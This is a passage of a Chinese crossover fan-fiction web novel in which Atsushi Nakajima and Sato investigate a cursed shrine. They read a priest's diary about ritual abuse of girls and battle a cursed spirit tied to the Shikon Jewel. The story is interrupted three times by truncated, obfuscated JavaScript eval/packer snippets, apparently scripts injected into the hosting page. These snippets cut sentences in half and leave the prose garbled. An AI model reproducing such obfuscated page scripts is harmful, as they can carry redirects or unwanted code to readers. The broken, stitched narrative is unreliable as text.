中岛敦这才回过神来,慌慌张张地跟着一起翻找起资料来,时不时还偷偷地瞟一眼被捆成螃蟹的神主——这个倒霉家伙挨了民俗书的狠狠一击,目前除了流点鼻血和额头撞个大包外并没有什么大碍,但直接打昏的举动是不是有点太大胆了? “那个...佐藤先生,万一他突然醒过来怎么办?” “书就在那边,等他快醒来的时候可以再给他来一下。”佐藤阳翔一脸认真地竖起一个大拇指,“知识的力量可是很沉重的,少年。” 中岛敦决定把那句“你之前在港口mafia难道不是清洁工吗,怎么连绑架也这么在行啊”默默咽下。 嗯,直觉告诉他,某些事还是不要急着现在问比较好。 但做这种事,他多多少少还是会有点心虚的。自从上回在祭具屋里,谷守慧趴在门口的那一幕就给他留下了深刻的心理阴影,害得中岛敦老是担心谷守慧会不会神出鬼没地趴在哪个地方偷窥。 “窗帘已经拉起来了,现在再担心这种事也来不及了,她爱看就看吧,反正被她看一眼又不会少一块肉。” 心态极佳的佐藤阳翔彻底摆烂,现在更重要的事是早点找到有关【土地神】的信息。神主刚刚掰扯了一大堆,虽然佐藤阳翔觉得有关【土地神】的传说,绝大部分都经过了后世的加工与杜撰,但某些地方或许确实是真的。 “敦,你觉得【土地神】真的有他说的那么好吗?” 中岛敦翻找抽屉的手一顿,他摇了摇头,紫金色的眼睛里充满了凝重的色彩:“不,我觉得这个传说应该只是安抚村民的说辞吧,毕竟【土地神】也是吃人的怪物...其实我反而觉得祂那个样子和恶鬼比较相似...” “唔,我倒觉得【土地神】说不定真是庇佑村子的神明哦。” 意料之外的,佐藤阳翔却对【土地神】发表了另一种看法。 “毕竟这个村子原始的先民,就是一群愿意通过信奉恶鬼来换取生存机会的人啊。”他说,“对于这些村民来说,只要自己能够活下去,死的是谁都不重要吧?——对我们而言和恶鬼无异的【土地神】,说不定对这些村民来说,真的是拯救他们于水火之中的神明呢?” 但这样的猜测就代表了一个血淋淋的现实:整座村子的村民,都是【土地神】与神主的共犯——或者说,是伥鬼。 伥鬼,在传说中就是被老虎吃掉的人类,死后反而变成了老虎的仆役,引诱其他人类继续被老虎吃掉。 这座村子里的人,很可能就在干这样的事。 可如果真的是这样的话,那么身为外人的谷守慧又在其中扮演什么样的角色呢? 佐藤阳翔与中岛敦几乎已经把整个房间都翻过来了,还是没能发现任何有意义的史料或书籍。就在中岛敦以为,这次的努力全部都要白费了的时候,佐藤阳翔忽然摸到书桌抽屉的内侧有一层隐蔽的暗格。 “里面有东西。” 暗格藏得非常深,要取出里面的东西并不容易。 中岛敦紧张地问:“要用我的异能直接拿出来吗?” “不,我看没这么简单,这次就让我来吧。” 佐藤阳翔招呼中岛敦退后两步,随后拿出了吉他包里放着的长刀,小心翼翼地直接在上层的挡板处开了个洞,这才看见了躺在暗格里的居然是一本笔记本。除此之外,暗格里竟然还特意设置了一个简易的机关,如果他们贸然出手的话,说不定会直接毁坏里面的东西。 ——但这也同时意味着,他们想找的东西就在里面。 “可是不触碰里面的东西,该怎么把它拿出来呢?”中岛敦犯了难,佐藤阳翔却突然站起身,在书柜里挑了一本大小厚度差不多的书,然后放在了中岛敦的手里。 “这个是...《祭祀活动指南》?” 中岛敦刚想凑上去看一眼这本书有什么奇异之处,佐藤阳翔便像变魔术似的突然在他面前打了个响指,眼眸中霎时闪过鎏金般的光芒,象征着异能发动的光芒顿时包裹了他的身体。 “异能力,【空间转移】。” 下一刻,原本躺在暗格里的书就出现在了中岛敦的手上,而先前那本《祭祀活动指南》则代替日记本,躺在了暗格之中。 “!!” 中岛敦确实没有想到,佐藤阳翔居然也是一名异能者,而且异能还如此方便。 他们打开那本笔记本,发现这居然是一本日记,上面记录了零零碎碎的事件——而日记的主人公,毫无疑问就是目前尚处昏迷之中的神主。 一切不幸的源头,就是从这本日记先开始的。 38 第一页,写于距今约十五年前,笔迹看起来很稚嫩。 “【xx年x月x日,晴】 听说只要把难过的事用笔记录下来,那些难过的事就会离开脑海里,所以我决定从今天开始写日记。 今天被父亲大人狠狠打了一顿——因为我翘掉了村祭节典礼的准备工作。我才不想搬那些重得要死的棚架,明明离村祭节还有将近一个月,干嘛要准备得这么着急啊? 村子里的人老说让我担负起下一代神主的责任,但是我一点都不想当神主...如果可以的话,我更想去外地工作,这样就可以远离家里了。” 接下来是两个周后的日期: “【xx年x月x日,雨】 最近家里的事很多,父亲大人每天都在和村子里的那帮老人呆在一起。每次我看见他们都觉得很可怕,因为他们老是在讲钱和女人的事,还有人偷偷让我去问父亲,什么时候可以接受“洗礼”。 我不知道这是什么意思,问了父亲大人以后,他让我闭上嘴不要管,说等到我再长大一点,就会知道这些东西了——可是,我明明都快成年了啊。 但是他最近几乎每天都会带回来好多钱,我偷拿一点应该无所谓吧?” “洗礼?”佐藤阳翔若有所思,“好像在我们来的路上,并没有村民提到这个。” 下一页的日记,则记载了十五年前的那场村祭节: “【xx年x月x日,多云】 今天是村祭节,我几乎从早到晚都忙得焦头烂额,连大麦茶都来不及喝一口。 今天父亲大人很早就出门了,一整天都没有出现过——真是的,为什么我非得干这么多活啊?! 今晚有游街活动,我实在太累了,就提前回了神社,听见祭具屋那里有奇怪的动静,可是村祭节是不允许村民贸然来神社这里的。 我在半路上遇到了父亲大人,明明我什么都没干,但还是被他无缘无故地打了一巴掌。他看见我突然回来了,好像特别生气,把我又赶回去睡觉了,还让我不准靠近祭具屋。 他总是这样无缘无故地发脾气...真不知道我什么时候才能离开这里。” 下一则日记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然他和佐藤阳翔现在面对的这个神主,明显站在吃人的【土地神】那一边,甚至可能还是【土地神】最大的伥鬼,但通过这篇十几年前的日记,他还是能得以窥见一名内心压抑的少年缩影。 ——父亲暴虐,母亲惨死。 当时的神主毫无疑问活在巨大的阴影之下。 下一则日记中,原本迫切想要逃离家庭的少年,终于被折断了反抗的羽翼,开始试着接受残酷的现实: “【xx年x月x日,多云转阴】 从今天开始,我决定接受神主的教导。 今天基本都在神社里帮忙,傍晚,父亲大人带我去见了村子里那些德高望重的老人,他们再次谈起了想要在明年村祭节接受“洗礼”的事。 父亲大人这次没有再把我支开,我终于知道了所谓的“洗礼”究竟是什么意思——就是帮这些德高望重的有钱人拉皮条,让他们同年轻的信徒少女一起接受神的洗礼。 是的,仅此而已。 回去以后,我就和父亲大吵了一架。 什么神主...什么洗礼...简直是天大的笑话! 如果这个世界真的有神的话,应该会对这个村子降下仇恨和报复吧。毕竟这个村子就是这样残酷且黑暗,令人作呕,母亲拼了命想要把我带出这个吃人的魔窟,最后却因为我而迎来了这种结局... 我居然还把当一名合格的神主作为毕生的追求:原来从一开始,我就只是一个傻子而已。 现在想想看,几百年前的村子可能只是因为原始危险的地形或瘴气的问题,意外地造成了人员失踪的事件,恶鬼的说辞完全就是封建迷信,至于土地神什么的...大约只是历代神主用来骗取他人信任的说辞罢了。 ——他们都是骗子。 而我,我很快也会变得和他们一样。” 中岛敦翻过下一页,看见一行用铅笔写成的,很小的文字: ——“可是...我不想这样。” 21. 第二十一章 39 读到这里以后,日记便再没有下文了。 中岛敦与佐藤阳翔都不约而同地停了下来。现在展现在二人面前的,是一个被控制、甚至是被迫在黑暗中独行的少年成长史——这篇日记也意味着,至少在十几年前,当时的神主还没有见过现在的【土地神】。 “让我们好好想一想吧。”佐藤阳翔说,“依照这本日记的说法,前任神主大概率一直都在打着神明的旗号,做着拉皮条的勾当,实际上对本职工作完全不在乎——是这个意思吧?” 如果前任神主真的全心全意信奉【土地神】,那么在十五年前的那场村祭节中,就不可能借着村祭节的热闹,联合村民举行所谓的“洗礼”仪式。 “可是,【土地神】到底是怎么出现的?” 中岛敦现在只觉得自己的大脑一片浆糊。寄居在枯井中的那个怪物确切存在,并且身上携带的力量绝不是这个世界的产物。 佐藤阳翔又仔细地翻了翻日记本,发现尾页中居然夹着一张泛黄的病例报告单。 “【姓名:(已经被墨水划掉了)性别:男 年龄:42岁 病例号:xxxxx 日期:xx年x月x日】 ——日期正是上个月。 “【主诉:敏感多疑,出现妄想10日余。 【现病史:患者于无明显诱因下出现心神不定,敏感多疑,并自称在家中神社的枯井中见到了“神”,可以和“神”对话,表现异于常人,包括且不限于与空气对话、狂热地对外宣扬教义,对生人表现出较强的攻击性等。家族并未有类似精神疾病史。】” “在这里!”中岛敦惊呼道,“所以在上个月的时候,神主才第一次见到枯井中的【土地神】?” 这个日期,比他们预想中的要晚得多。 “而且精神科医生判断他得了自律神经失调症,他被迫接受了大约一周的药物治疗与医师咨询。”佐藤阳翔一目十行地看下去,突然顿住,“为他咨询的医生将自己和他的对话记录在了报告单上...有个词汇反复出现在了这篇记录里。” “什么词汇?” “...【咒灵】。” 佐藤阳翔用力攥紧拳头,在说出这个词的瞬间,他突然觉得好像有一只冰冷刺骨的手抚摸过自己的脊背。头再一次疼起来了,就和上次在地下洞窟中的感觉类似,他听见耳边掠过一种尖锐的噪音,胃袋里好像有什么东西在翻滚。 耳边有一道声音虚无缥缈地响起: ——【“阳翔,你知道吗?所谓‘咒灵’,就是从人类的负面情绪中诞生的产物,它的身体全部都由咒力构成,普通人是看不见它的。”】 “呕咳...咳咳咳...” “佐藤先生,你怎么了?”中岛敦见佐藤阳翔突然弯下腰扶住桌子剧烈咳喘着,表情很难看,急忙伸手扶住了他的身体。 “我...明白了。” 佐藤阳翔费力地抬起那双金色的眼眸,咬紧后槽牙,将脑海中的内容简单复述了一遍,然后说:“...不会有错的——所谓的【土地神】是假的,那家伙根本就是诞生于神社负面情绪中的【咒灵】...” 可是,神社作为长期被神圣与虔诚洗礼的圣地,又为什么会有负面情绪的堆压,为什么会诞生【咒灵】呢? ——“洗礼”仪式! 中岛敦与佐藤阳翔都不由自主地想到了这个答案:【土地神】背后那一双双苍白纤细的女性断手,日记中祭具屋内发出的奇怪动静,每年村祭节都要举行的“洗礼仪式”... 这些女孩真的是自愿的吗?如果真的要举办“洗礼仪式”,为什么地点偏偏要设置在祭具屋内?更何况,屋内那口枯井简直就是天然的抛尸地。 就在这时,门口突然传来一阵大力砸门的声音。 中岛敦瞬间警惕起来,被关上的大门像是正在承受着某种生物异常沉重的撞击,发出了脆弱又无力的“吱呀”声,谷守慧极为尖锐的声音从外面传来:“你们在里面对吧?快点出来呀。” 糟了,她找过来了! 单单听声音就可以猜到,社务所外一定聚集了不少怪物,恐怕他们现在已经被包围了。脆弱的大门也根本支撑不了多久,谷守慧不知道从哪里找到了用来维修基础设施的维修锤,对准窗户外的防盗铝条狠狠砸了下去。 “出来啊!”她尖叫道,“为什么丢下我一个人?!” 就在这时,原本还在昏迷之中的神主发出了微弱的声音:“书柜第五层的...把手...拉开...” 面对这种危机的情况,已经来不及再判断这家伙意图的好坏了。佐藤阳翔果断顺着他的话,拉下了藏在第五层的把手,一道幽深黑暗的地下入口出现在了二人视野里。 “居然有暗室...” 中岛敦背起神主,和佐藤阳翔一起在社务所门窗破碎之前逃了进去。随着入口的自动关闭,外头那些嘈杂恐怖的声音终于消弭在了黑暗里。三人挤在狭窄黑暗的甬道中,剧烈跳动的心脏这才勉强回归胸腔。 但这并不代表危机已经解除。隔着薄薄的一扇门,谷守慧与那群怪物依旧虎视眈眈,要找到地下室恐怕也是迟早的事。 神主的意识也在这时开始慢慢清晰起来,但他的身体被绑着,还无法自在行走。他的手指刚动弹了一下,一面冰冷的刀锋便抵在了他的脖子上,佐藤阳翔的声音很冷:“不许动。” 神主嘶哑地开口:“...这次是我救了你们。” “你搞错了吧,背你进来的人可是我们。”佐藤阳翔嗤笑一声,握着长刀的手微微用力,空气中顿时弥漫了一股血腥的气味,“...说起来也真奇怪呢,你和谷守慧难道不是一伙的吗?” “...你们根本什么都不知道。” 神主的语气也变得冷硬了下来,但碍于那把刀还抵在自己的脖子上——而且他一点都不怀疑眼前的年轻人会不敢下杀手。因此,在长久的沉默中,他终于肯卸下神主淡定自如的伪装,颤声开口: “她已经不是人,而是向恶魔出卖了灵魂的怪物。” 40 地下甬道再摸黑往里走一段,就能看见一间用结实坚硬的铁栅栏围住的小屋。里面的陈设看起来活像上个世纪的东西,但墙上却挂着各种各样的拷问用具,加上室内并不流通的空气,看得中岛敦心中一紧,精神也不自觉地紧绷了起来。 “说说你知道的事吧,不然我们就用墙上的东西再把你捆起来,再把你扔出去。” 佐藤阳翔将长刀放在身边,双手抱胸望向面前的神主。神主脸上的光影也随着室内的烛光不断变幻,最终妥协地开口,颓废地佝偻着身子:“...你们想知道什么?” “第一个问题,枯井里的怪物是怎么出现的?” “你们怎么会知道?”神主一愣,眼中再度泛起狂热的神情,露出一个诡谲的笑容,“你们已经见过祂了?看来你们的生命也将结束...祂是全知全能的神,将带领你们去往极乐之地...” 见神主又要犯病了,佐藤阳翔活动了一下手腕,上去就是一拳,不仅把他揍闭嘴了,还把站在门口望风的中岛敦也吓了一跳。 “说人话。时间有限,我现在没有什么耐心。”佐藤阳翔不耐烦地抓起他的头发,金色的眼眸充斥着冰冷的杀意,“再跟我搞谜语人那一套,我就直接在这里杀了你。” “......” 神主挨了一下,气焰顿时被扑灭:“...某天,我在神社里突然找到了一本奇怪的书,上面提到有一种叫做【咒灵】的生物——只要念了咒语,祂就会显现。我想要验证神是否真的存在,想要亲眼见证这么多年来,我的信仰都是正确的...” “所以,你念了咒语。”佐藤阳翔面无表情地道,“不过,你不清楚【咒灵】形成的原因吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我和她达成了合作,只要让【土地神】在特定时间内吃饱,我依旧是这座神社唯一的主人。” 而这一次,佐藤阳翔与中岛敦直接把他绑到了晚上,【土地神】直到进食时间也没能填饱肚子,谷守慧这才会按耐不住找上门来——饥饿状态下的怪物不分敌我,所以神主才会给他们指出地下室的位置,希望能换取自己的生存。 中岛敦谨慎地问:“你之前见过我们吗?” 神主不解:“你们不是今天才到神社里来吗?” 看来谷守慧如果被杀死的话,那么上一次轮回的记忆就不会留在他们的脑海里;如果是她主动开启下一次轮回,那么这一天的所有人都会记得之前发生的事。 “真是...麻烦得爆炸。”佐藤阳翔叹气,“第三个问题——当时和她一起来到神社里的那两名同伴呢?” 同行的山下葉与左井彩奈,难道没有和恶魔做交易吗? “她们不在这里。”神主缓缓开口,“神早已吞下了她们的□□,带领她们前往极乐...但她们依旧活着,就在你我的身边。” 在他说出这句话的同时,一直守在门口望风的中岛敦突然看见两道淡蓝色的影子居然穿过了墙壁,缓缓移动到了自己面前,单从气息上看不出任何敌意与杀意,甚至远比神社内的任何一种怪物都更加呆板。 “咦,这是?” 它们没有五官,但在看见中岛敦后,头部忽然睁开了一只竖眼,齐齐发出怪异且破碎的声音。 “我们~找到了~粮食,在这里哦~小慧!” 中岛敦的瞳孔猛地一缩:“糟了,佐藤先生!” 下一瞬间,地下室入口处就爆发了一阵剧烈的震响——强大的咒力直接轰穿了墙壁,身体扭曲的【土地神】从洞口处挤进了那张贪婪且饥饿的脸,居高临下地看着狭小房间里的三人。 “进食时间...到了...” 22. 第二十二章 41 洁白无瑕的圆月挂在漆黑的夜色中,抬起头的话,还可以看见圆月周围柔和且神圣的光晕。月色下,社务所的上半截墙壁已经被毁掉了,只有咒力在原地留下了一道深深的爆炸痕迹。 【土地神】居高临下地俯视着对祂而言弱小如虫蚁的人类,像是在看一群死物。 在祂的身边,由谷守慧带领的妖怪们已经把周围包裹得严严实实,拖着肥大的身躯在夜色中游弋,只存在于绘本传说中的百鬼夜行,现在正清清楚楚地映照在三人眼底。 神主垮下肩膀跪坐在地上,眼中充满了不知是虔诚还是恐惧的泪水:“...全知全能的神啊...” 人类与怪物,从基础意义上划分得非常严谨的这条边界线,在神社中已经变得模糊不清了。谷守慧站在那两道淡蓝色虚影的中间,直到这时佐藤阳翔才意识到,那两只低级咒灵原来就是“左井彩奈”与“山下葉”。 她们从一开始就存在于神社中——第一次与谷守慧见面时,被她照进相片里的那一道虚影就是最好的证明。 被【土地神】吃掉后的人类,难道会变成咒灵吗? 迎面冲来的下一击又是一团强大的咒力,攻击的目标就是中岛敦与佐藤阳翔位置的中间。中岛敦迅速用异能虎化了自己的双足,拉紧佐藤阳翔的手臂,蹬着地面高高跃起,然而这一举动却正对【土地神】的胃口。 咒灵的速度快到几乎成了一道残影。但是祂冲向的地方,却在他们的身后。 ——神主! 这个距离已经超出了佐藤阳翔可以使用异能调转位置的距离,二人只能眼睁睁地看着正处于饥饿状态的【土地神】将利爪对准自己的信徒。神主抬起头,他肃穆且庄严地站起身,张开双臂,像是准备接受神明洗礼一般,仰起头看着咒灵那张可怖的脸,以及张开的血盆大口。 他露出了一个犹如幼童般的纯净微笑,轻声道:“母亲,您看啊...我和父亲不一样...我是真正的【神主】...我将获得永生,前往极乐之地!” 随后,血花飞溅。 一道生命便如此轻易地陨落了。但中岛敦与佐藤阳翔并没有为此感到惋惜的空闲,因为在他们跃上空中的这一刻,地面上的那些蛆虫形状的怪物便簇拥而至,朝着两人扑了过来。 佐藤阳翔反手握住刀柄,刀锋恰好与怪物躯体上的坚硬外壳相撞,发出清脆的振刀声。这股巨大的冲击力几乎让他一时间拿不住长刀,震得虎口发麻。 幸而中岛敦的支援紧随其后,虎的爪击为他们撕出了一道逃生的通道。两人借机迅速往外围逃去——拦路的妖怪造成的威胁倒是不大,但数量实在多得惊人,好像永远都不会耗尽一般。 “等等,少年。”余光一直锁定在【土地神】身上的佐藤阳翔朝前挥出一刀,目光迅速地扫视一周,“神主呢?” “他不是已经已经被【土地神】...”中岛敦刚想接话,突然就意识到了佐藤阳翔的话中之意:神主自称被【土地神】吃掉后能够得到永生,前往极乐之地——甚至在他的描述里,左井彩奈和山下葉也是通过这种方式变成咒灵“永生”的。 可是这一次,他为什么没有变成咒灵? “是我们搞错了。” 佐藤阳翔扯出了一个不太好看的笑容,背抵在中岛敦身后,深吸了一口气:“我一直以为,【土地神】才是制造出怪物的源头,那两个女孩是因为被祂吞噬,才变成咒灵的——” 但神主死后并没有变成咒灵。 他口中的“永生”亦化为了泡影。 佐藤阳翔握紧手中长刀,将目光转向了谷守慧三人——她们正静静地站在那里,目光冷如寒霜,像是置身事外的看客。 这种不和谐感再度涌上心头,最终汇聚成了一个荒诞的猜想。 他突然轻声问:“...敦,如果我死了,这时有个恶魔来到你面前,自称能满足你的心愿...你会许愿什么愿望?” 中岛敦愣了一下:“许愿?那当然是希望佐藤先生能够活过来,我们都能一起活下去之类的...” 他的声音也哑住了。 ——许愿。 是的,许愿! “原来如此...”中岛敦望着站在远处的谷守慧,几乎浑身都起了鸡皮疙瘩,喃喃道,“谷守小姐她,对恶魔许下了要与同伴永生的愿望...” 42 世界上真的存在不需要付出代价,就能满足愿望的【恶魔】吗? 如果这一切都是噩梦的话,那什么时候才能醒来? 半个月前的村祭节,在一片热闹与欢腾之中展开了。碰巧来到神社采风的三名无辜少女踏入了村庄,从此便开启了一场恐怖与痛苦的轮回。 这时,因为受到神主“召唤”而来的咒灵【土地神】已经露出了自己凶恶的面目,为了防止村子被无辜连累,曾经愿意信奉恶鬼的村民,如今同样愿意用外人的性命来交换村子的和平。 这三名无辜的少女被村民骗来了神社,又被神主带到了渴望进食的【土地神】面前。她们看着怪物一步步从曾经埋葬了无数信徒少女的枯井里爬出,对她们亮出了凶狠而贪婪的獠牙。 “好饿啊...好饿啊...” 咒灵发出难以辨认的音节,背上的断手又增加了两只,那是两名少女曾经活在世上的证明。 左井彩奈与山下葉在恐惧之中死去了,她们的眼泪和鲜血一起滴在谷守慧的眼皮,混合成血水顺着谷守慧的脸庞流下。 即将被吃掉的谷守慧瘫坐在地上,她在那一刻想起了自己的哥哥,想起了还没有好好道别的电话,想起了父母逝去那天的情景。 她很快也会死的。 “可是我...我还不想死...” 她颤抖着望向朝自己伸出手的【土地神】,前所未有的求生的欲望在她的心中蔓延。时间好像碎成了一块又一块,最终定格在谷守慧即将被杀死的这一瞬间。 她闭上了流泪的眼睛。 忽然,虚空中有一道奇特的声音传来:“向我许愿吧。” “向我许愿吧,我会满足你的一切愿望。” 那道声音充满了蛊惑。 “真的能满足我的一切愿望吗? 像是溺水的人抓住了河中漂浮的浮木,她想起了小叶与彩奈与自己相处的一幕幕场景,然而在怪物面前,一切都化为了泡沫的虚影。她小心翼翼地握紧拳头,像乞求神明投下怜悯目光的信徒,许下了自己的愿望。 “如果可以的话,我想要小叶和彩奈回来...我想要大家都好好地活着...我不想死...” 这样迫切的愿望,就像是投向平静水面的一粒石子,泛起了一连串因果的涟漪。 不死的契约,也在这一刻缔结。 那个声音说:“我会满足你的愿望。” 下一刻,神主便看见【土地神】突然收回了手,祂像是吃饱了,沉默地盯着眼前突然昏迷的少女看了半晌,忽然转身爬回了井内。 与此同时,两道淡蓝色的虚影降临在了谷守慧的身边,它们没有神智,也没有攻击性,头部只有一只张开的竖瞳环顾世界,自此以后便在少女的身边如影随形。 那是少女死而复生的同伴。 谷守慧想要同伴,那祂就把死去的左井彩奈和山下葉变成寿命永生的咒灵;谷守慧想要活下去,那祂就把她与【土地神】捆绑在一起,赐予她相同的力量与寿命;谷守慧不想死,那祂就赐予她轮回的力量。 然而,凡事都有代价,谷守慧被夺走了记忆和善良的人性,成为了在神社中游弋的不死之身,只为将神社变成饲养妖怪的温床。 ——这就是恶魔满足愿望的方式。 43 “真是的,他们两个到底去哪里了啊?” 无奈之下出声抱怨的少年顶着类似牛排头的发型,东方仗助已经在这片草丛中蹲了很久,稍微一动一点下肢就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半小时前,他们猜测谷守慧恐怕已经和【恶魔】达成了某种有关永生的交易,要想结束这一切,就必须找到赐予谷守慧力量的【恶魔】才行。 谷守慧影子中蕴含的力量,正是【土地神】的一部分——怪物和人类的本质有着天壤之别,因此,一定有某种媒介将它们联系在一起。 形态类似百足蜈蚣的妖怪再次对准两人扑了上来,佐藤阳翔的手腕一抖,挥开一道弦月般的弧度。两人看起来都狼狈不堪,但谁都没有停下来。 ——停下来就是死路一条。 更何况,咒灵的速度与佐藤阳翔相较竟也完全不落于下风,无论是随手挥出的爪击还是轰出的咒力,都可以轻易将人类的躯体撕成碎片,身上散发的强大压迫力足以说明咒灵恐怖的实力。 死亡的气息浓郁到几乎连心脏都要被麻痹。 佐藤阳翔提起那柄长刀,脚下一用力,蹬着墙壁在空中受身做出进攻的姿势,以最快的速度冲到了咒灵的身边,长刀在月下寒光一闪,一瞬便砍下了祂背后的数只断手。 【土地神】发出暴怒的嘶吼,背后的断手鲜血淋漓,一时之间竟无法再生。 就在这时,佐藤阳翔瞥见在断掌合拢之处,一道紫色的光芒一闪而过。 佐藤阳翔重新回到中岛敦身边,过度的体力消耗让他也开始吃不消了——更悲惨的是,他并不具备中岛敦那种恐怖的回复能力,尤其是面对这么高强度的战斗,两人身上挂彩的地方都并不少。 “佐藤先生,你还好吗?”中岛敦也在这不断的鏖战中逐渐疲乏下来。他们替彼此守着背后,这才勉强能在如此密集的怪物群中坚持到现在。 “有东西在祂的背后,被那些手藏起来了。”佐藤阳翔闭上眼睛,勉强平复了一下呼吸,“敦,我的下一击会尽力砍下上面护着的手掌,在它露出来的那一瞬间,你就给它最后一击——这个机会转瞬即逝,不要让它溜走了。” 23.第二十三章 44 “我明白了,佐藤先生。” 中岛敦也意识到,这大约是他们在体力耗尽前反攻的唯一机会。不等他的话音落下,佐藤阳翔便再次提起了那柄长刀,小腿发力弓身窜出,再次奔向了【土地神】所在的方向。 佐藤阳翔与中岛敦虽然是异能者,但他们本质上还是人类,无论是精力还是生命都是相当有限的,在怪物的围攻下如果继续打消耗战,生存的概率只会越来越低。 眼下唯一的办法,就是以自己的生命为筹码,在这一战中放手一搏。 佐藤阳翔挥动着刀锋,犹如在怪物漆黑的浪潮中起舞。他一刀就插进了正在天空洄游的蛆虫妖怪,握紧刀柄,借着妖怪吃痛的猛力离开了地面,身体在空中转过一个不可思议的角度后,将刀锋再次对准了【土地神】的背后。 咒灵背后被一刀斩出的创面已经开始愈合,创口处,无数苍白手掌再次从里面钻出——祂的回复速度远比佐藤阳翔想象的还要快。 佐藤阳翔眼神一凛,再次对准位置砍了下去,刚生出的断掌瞬间像被砍断的脆弱树枝一样簌簌落下,咒灵的脊背处,一颗泛着淡紫色光芒的玉珠暴露在空气之中。 佐藤阳翔的身体也迫于重力开始迅速下坠:“敦,就是现在!” 紧随其后的中岛敦立即亮出了虎化的爪牙,然而,就在他的攻击即将触碰到玉珠的前一刻,【土地神】逃窜的动作却忽然停住,突然硬生生将头颅旋转了一百八十度,朝着中岛敦张开了血盆大口,一股强大且浓缩的咒力瞬间从祂的口中喷涌而出。 中岛敦的瞳孔急缩——他的攻击已经挥出,现在的身体完全来不及反应,然而急如雷电的轰击已经对准了他的心脏电射而出! 就在这千钧一发之际,他眼前的景色却瞬间变化,——他的身体正在迅速下坠,而代替他出现在轰击位置上的青年,身上却浮动着异能发动的光芒。 那个人是... “佐藤先生!” 中岛敦的喉咙中爆发出几乎撕心裂肺的呼喊,与此同时,青年的胸口瞬间被强大的咒力击穿,身上那件白色的衬衫几乎都被淋漓的鲜血所覆盖,身体也犹如断线的风筝一般往下坠落。 中岛敦慌张地想要上前接住他的身体,一把刀却朝着他的方向甩了过来。 那是佐藤阳翔的刀。 中岛敦在那一瞬间,清晰地看见青年染血的薄唇一张一合,无声地拼成了一句话:“不要放弃。” 不要放弃,敦。 不要忘记我们是为何而来的,不要忘记我们的目标与信念,不要忘记胜利就在我们触手可及的地方。 中岛敦咬紧牙关,在这个距离能够再次逼近【土地神】的人只有拥有白虎异能的自己。他握紧了佐藤阳翔留下的那柄长刀,刀柄上还有未曾完全消弭的余温。 瞬间白虎化的双足蹬住在空中洄游的妖怪,居然重新跃升到了与【土地神】相似的高度。咒灵诧异地回过头,眼前寒光一闪,一柄寒锋冷冽的长刀正中祂的双目,而借着这一契机出现在祂身后的,正是处于同伴陨落,异能潜力爆发到极致的白虎少年。 中岛敦朝着那枚紫色的玉珠狠狠挥出一拳。突然,世界所有的声音都离他远去了,时间好像被暂停在这一刻,眼中的世界褪色化为一片纯白,只有那粒珠子悬浮在空中。 这是哪里? 就在这时,一个虚幻的声音呼唤了他的名字:“中岛敦。” “这难道是...?” 中岛敦不可置信地抬起头——他没有听错,淡紫色的玉珠确确实实发出了人类的声音,并且语气间充满了安抚与蛊惑的意味,“你想要救回你的同伴,想要和他一起逃出去吗,中岛敦?” “吾乃四魂之玉,可以满足你的愿望。”自称“四魂之玉”的紫色玉珠光芒闪烁,“如果你想要逃出去的话,就向我许愿吧。” ——帮助谷守慧完成愿望的那个【恶魔】,神社内轮回灾祸的缔造者,现在就在中岛敦的面前。 四魂之玉像是一眼看穿了中岛敦的犹豫,一道光幕缓缓展现在了他的面前:那是佐藤阳翔的尸体,他的眼中已经没有了活人的色彩,谷守慧和无数的妖怪围在他的身边,谷守慧手机照片里的恐怖情形即将上演。 “中岛敦,你的同伴为你而死。”四魂之玉缓缓道,“但你现在还有挽救的机会——向我许愿吧,否则你同伴的身体将被吃掉,成为养育妖怪的温床。” 中岛敦再次站在了命运的分岔路口。 他很清楚复活的佐藤阳翔很可能也会变成谷守慧身旁的咒灵,但佐藤阳翔死去的情景仍在他的脑海中不断闪回。 “为什么...为什么会变成这样...” 少年蹲下身,用力攥住自己的头发,紫金色的眼中蓄满了绝望的泪水——他的内心正在经历比一切都要痛苦的挣扎,与目标激烈对抗的私心反复提醒着中岛敦,那个人是为你而死。 四魂之玉充满蛊惑的声音再次催促道:“来吧,向我许愿吧,让你的同伴活过来,让你的痛苦终结在这一刻...” 只要许愿...佐藤先生就能活过来吗? 只要许愿...一切痛苦就能结束吗? “只要许愿...佐藤先生就能活过来...” 他喃喃着,炽热的眼泪顺着他的脸颊滑落,打湿了他的衣襟——中岛敦终于在这一刻,感受到了谷守慧做决定时的那种挣扎与无望,漆黑的未来和死去的同伴压得他喘不过气来,私心在四魂之玉的蛊惑中不断膨胀、变大,最后成为一座足矣压垮理智的大山。 中岛敦沉默半晌,终于站起身,颤抖着朝四魂之玉伸出了手。 紫色的玉珠收拢在他的掌心,光芒大作,像是猎人等待被欲望支配心智的猎物。 “我确实...很想要向你许愿,我想要让佐藤先生活过来,想要逃离这一切...”中岛敦轻声道,“但是你错了,四魂之玉——我不会向你许任何愿望,因为佐藤先生已经教给了我什么是比生命还要深刻的东西。” “不要放弃。” 下一刻,中岛敦手中的四魂之玉便化为了齑粉。同时,整个神社都在晃动,山崩地裂般的轰鸣响彻天际,神社中的妖怪们也因四魂之玉的破碎而前所未有地沸腾起来。谷守慧呆呆地抬起头,发现一成不变的天空终于裂开了一道清晰可见的裂缝。 从未见过的光芒从裂缝中照射进来。 ——永夜已经过去,黎明即将到来。 45 中岛敦重新睁开眼睛,在即将崩塌的神社里,跌跌撞撞地朝着躺在地上的佐藤阳翔走去。 佐藤阳翔确实已经死了。 他的胸口被咒力轰出了一个洞,鲜血染红了身下的石砖,金色的眼眸也失去了往日的光彩,像一具已然崩坏的人偶。 谷守慧瘫 